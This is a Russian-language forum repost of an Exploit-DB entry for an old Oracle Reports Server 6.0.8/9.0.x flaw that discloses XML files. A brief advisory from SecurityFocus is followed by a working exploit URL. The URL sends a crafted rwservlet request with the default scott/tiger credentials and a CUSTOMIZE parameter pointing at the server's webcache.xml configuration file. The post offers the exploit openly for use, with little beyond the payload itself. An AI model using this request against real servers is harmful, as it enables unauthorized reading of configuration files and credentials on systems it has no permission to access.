Exploit Oracle Reports Server 6.0.8/9.0.x - XML File Disclosure

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
26002
Проверка EDB
  1. Пройдено
Автор
ALEXANDER KORNBRUST
Тип уязвимости
REMOTE
Платформа
MULTIPLE
CVE
N/A
Дата публикации
2005-07-19
Код:
source: https://www.securityfocus.com/bid/14311/info

Oracle Reports Server may allow remote attackers to disclose parts of arbitrary XML files.

Reportedly, the server fails to restrict users from accessing parts of arbitrary XML files when handling specially crafted HTTP GET requests.

All versions of Oracle Reports Server are reported to be vulnerable to this issue. 

http://www.example.com:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc
ott/tiger@iasdb+destype=cache+desformat=xml+CUSTOMIZE=/opt/ORACLE/ias/oracle/pro
duct/9.0.2/webcache/webcache.xml
 
Источник
www.exploit-db.com

Похожие темы